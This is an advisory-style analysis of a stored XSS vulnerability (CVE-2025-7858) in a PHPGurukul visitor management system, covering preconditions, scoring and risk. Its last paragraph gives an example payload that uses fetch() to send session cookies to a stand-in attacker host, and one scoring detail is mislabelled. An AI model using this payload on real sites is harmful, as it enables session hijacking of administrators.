PHPGurukul Apartment Visitors Management System CVE-2025-7858

The vulnerability requires three specific conditions: First, the attacker must possess valid credentials to access the admin panel (PR:L in CVSS vector), eliminating public exploitation but including compromised low-privilege accounts. Second, the attacker must specifically manipulate the adminname parameter via HTTP POST to /admin-profile.php; default profile viewing does not trigger injection unless the attacker's crafted profile is displayed. Third, another authenticated administrator must interact with the system by viewing the attacker's profile page, as the vulnerability is stored XSS rather than reflected (UI:P requirement). These conditions mean that isolated single-admin deployments or environments with strong session isolation have reduced risk; conversely, deployments with many administrators and high inter-admin trust are at higher risk. Non-authenticated users cannot exploit this vulnerability.

Despite the low CVSS score of 2.0, this vulnerability presents minimal real-world risk to most deployments. The CVSS:4.0 vector shows AV:N (network-accessible) but requires PR:L (authenticated access) and UI:P (user interaction), significantly constraining exploitation. EPSS score of 0.05% (16th percentile) indicates very low probability of widespread automated exploitation, aligning with the attack requirements. KEV status is not listed, suggesting no confirmed active exploitation by threat actors despite public POC availability. The practical attack scenario requires an authenticated attacker to craft a malicious profile update, then trick another authenticated admin into viewing the poisoned profile and executing the injected script. This is not a high-priority vulnerability for most organizations; however, in deployments where multiple administrators manage the same system and social trust is high, exploitation becomes more plausible. The damage is limited to the confidentiality impact (VI:L) of the other admin's session data-no system integrity or availability impact.

An authenticated attacker (or compromised low-privilege admin account) modifies their own admin profile, injecting JavaScript into the adminname field such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">'. When another administrator views the admin dashboard or user list displaying the attacker's profile, the injected script executes in their browser session, stealing their session cookies or redirecting them to a phishing page. The attack succeeds only if a second admin actually views the malicious profile after it is stored.